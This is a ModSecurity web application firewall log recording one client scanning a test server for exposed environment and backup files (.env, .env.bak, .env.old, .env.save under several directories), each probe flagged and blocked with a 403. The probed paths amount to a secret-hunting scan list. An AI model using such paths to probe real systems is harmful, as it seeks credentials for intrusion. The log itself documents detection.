[Thu Nov 27 18:08:37.977482 2025] [:error] [pid 364939] [client 3.75.214.235:55876] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env.save"] [unique_id "aSiFlRr_ze0xmC_DyvfLZwAAAA0"]
[Thu Nov 27 18:08:38.046640 2025] [:error] [pid 353188] [client 3.75.214.235:55900] [client 3.75.214.235] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env.bak"] [unique_id "aSiFlj4fHjXDucK3GWvWwAAAAAQ"]
[Thu Nov 27 18:08:38.046828 2025] [:error] [pid 353188] [client 3.75.214.235:55900] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env.bak"] [unique_id "aSiFlj4fHjXDucK3GWvWwAAAAAQ"]
[Thu Nov 27 18:08:38.047055 2025] [:error] [pid 353188] [client 3.75.214.235:55900] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env.bak"] [unique_id "aSiFlj4fHjXDucK3GWvWwAAAAAQ"]
[Thu Nov 27 18:08:38.047239 2025] [:error] [pid 353188] [client 3.75.214.235:55900] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env.bak"] [unique_id "aSiFlj4fHjXDucK3GWvWwAAAAAQ"]
[Thu Nov 27 18:08:38.117381 2025] [:error] [pid 353186] [client 3.75.214.235:55936] [client 3.75.214.235] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env.old"] [unique_id "aSiFliOJA5NFmjDGU5hITAAAAAI"]
[Thu Nov 27 18:08:38.117556 2025] [:error] [pid 353186] [client 3.75.214.235:55936] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env.old"] [unique_id "aSiFliOJA5NFmjDGU5hITAAAAAI"]
[Thu Nov 27 18:08:38.117767 2025] [:error] [pid 353186] [client 3.75.214.235:55936] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env.old"] [unique_id "aSiFliOJA5NFmjDGU5hITAAAAAI"]
[Thu Nov 27 18:08:38.117963 2025] [:error] [pid 353186] [client 3.75.214.235:55936] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env.old"] [unique_id "aSiFliOJA5NFmjDGU5hITAAAAAI"]
[Thu Nov 27 18:08:38.186518 2025] [:error] [pid 353185] [client 3.75.214.235:55964] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /assets/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env"] [unique_id "aSiFlnTG8IrOxOxezX5AsAAAAAE"]
[Thu Nov 27 18:08:38.186744 2025] [:error] [pid 353185] [client 3.75.214.235:55964] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env"] [unique_id "aSiFlnTG8IrOxOxezX5AsAAAAAE"]
[Thu Nov 27 18:08:38.186938 2025] [:error] [pid 353185] [client 3.75.214.235:55964] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env"] [unique_id "aSiFlnTG8IrOxOxezX5AsAAAAAE"]
[Thu Nov 27 18:08:38.261663 2025] [:error] [pid 360200] [client 3.75.214.235:55992] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /assets/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env.save"] [unique_id "aSiFlgQeQhonID1lme2zGQAAAAk"]
[Thu Nov 27 18:08:38.261878 2025] [:error] [pid 360200] [client 3.75.214.235:55992] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env.save"] [unique_id "aSiFlgQeQhonID1lme2zGQAAAAk"]
[Thu Nov 27 18:08:38.262076 2025] [:error] [pid 360200] [client 3.75.214.235:55992] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env.save"] [unique_id "aSiFlgQeQhonID1lme2zGQAAAAk"]
[Thu Nov 27 18:08:38.330695 2025] [:error] [pid 362070] [client 3.75.214.235:56024] [client 3.75.214.235] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env.bak"] [unique_id "aSiFln7GWRIORDaPTtG7IgAAAAs"]
[Thu Nov 27 18:08:38.330873 2025] [:error] [pid 362070] [client 3.75.214.235:56024] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /assets/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env.bak"] [unique_id "aSiFln7GWRIORDaPTtG7IgAAAAs"]
[Thu Nov 27 18:08:38.331102 2025] [:error] [pid 362070] [client 3.75.214.235:56024] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env.bak"] [unique_id "aSiFln7GWRIORDaPTtG7IgAAAAs"]
[Thu Nov 27 18:08:38.331304 2025] [:error] [pid 362070] [client 3.75.214.235:56024] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env.bak"] [unique_id "aSiFln7GWRIORDaPTtG7IgAAAAs"]
[Thu Nov 27 18:08:38.400624 2025] [:error] [pid 364938] [client 3.75.214.235:56054] [client 3.75.214.235] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env.old"] [unique_id "aSiFllEFdTVEtgaNa5gxCwAAAAc"]
[Thu Nov 27 18:08:38.400814 2025] [:error] [pid 364938] [client 3.75.214.235:56054] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /assets/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env.old"] [unique_id "aSiFllEFdTVEtgaNa5gxCwAAAAc"]
[Thu Nov 27 18:08:38.401054 2025] [:error] [pid 364938] [client 3.75.214.235:56054] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env.old"] [unique_id "aSiFllEFdTVEtgaNa5gxCwAAAAc"]
[Thu Nov 27 18:08:38.401254 2025] [:error] [pid 364938] [client 3.75.214.235:56054] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env.old"] [unique_id "aSiFllEFdTVEtgaNa5gxCwAAAAc"]
[Thu Nov 27 18:08:38.470095 2025] [:error] [pid 353187] [client 3.75.214.235:56082] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /includes/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env"] [unique_id "aSiFlnjjVMPW7zDRgsawagAAAAM"]
[Thu Nov 27 18:08:38.470314 2025] [:error] [pid 353187] [client 3.75.214.235:56082] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env"] [unique_id "aSiFlnjjVMPW7zDRgsawagAAAAM"]
[Thu Nov 27 18:08:38.470529 2025] [:error] [pid 353187] [client 3.75.214.235:56082] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env"] [unique_id "aSiFlnjjVMPW7zDRgsawagAAAAM"]
[Thu Nov 27 18:08:38.540745 2025] [:error] [pid 354739] [client 3.75.214.235:56106] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /includes/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env.save"] [unique_id "aSiFlu_UStX-GTeIAe_u-wAAAAY"]
[Thu Nov 27 18:08:38.540988 2025] [:error] [pid 354739] [client 3.75.214.235:56106] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env.save"] [unique_id "aSiFlu_UStX-GTeIAe_u-wAAAAY"]
[Thu Nov 27 18:08:38.541190 2025] [:error] [pid 354739] [client 3.75.214.235:56106] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env.save"] [unique_id "aSiFlu_UStX-GTeIAe_u-wAAAAY"]
[Thu Nov 27 18:08:38.608815 2025] [:error] [pid 362069] [client 3.75.214.235:56134] [client 3.75.214.235] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env.bak"] [unique_id "aSiFlrt0j3LvN_HNhHWZDwAAAAo"]
[Thu Nov 27 18:08:38.608982 2025] [:error] [pid 362069] [client 3.75.214.235:56134] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /includes/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env.bak"] [unique_id "aSiFlrt0j3LvN_HNhHWZDwAAAAo"]
[Thu Nov 27 18:08:38.609200 2025] [:error] [pid 362069] [client 3.75.214.235:56134] [client 3.75.214.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env.bak"] [unique_id "aSiFlrt0j3LvN_HNhHWZDwAAAAo"]
[Thu Nov 27 18:08:38.609382 2025] [:error] [pid 362069] [client 3.75.214.235:56134] [client 3.75.214.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env.bak"] [unique_id "aSiFlrt0j3LvN_HNhHWZDwAAAAo"]
[Thu Nov 27 18:08:38.677722 2025] [:error] [pid 364939] [client 3.75.214.235:56160] [client 3.75.214.235] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env.old"] [unique_id "aSiFlhr_ze0xmC_DyvfLaAAAAA0"]
[Thu Nov 27 18:08:38.677892 2025] [:error] [pid 364939] [client 3.75.214.235:56160] [client 3.75.214.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /includes/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env.old"] [unique_id "aSiFlhr_ze0xmC_DyvfLaAAAAA0"]
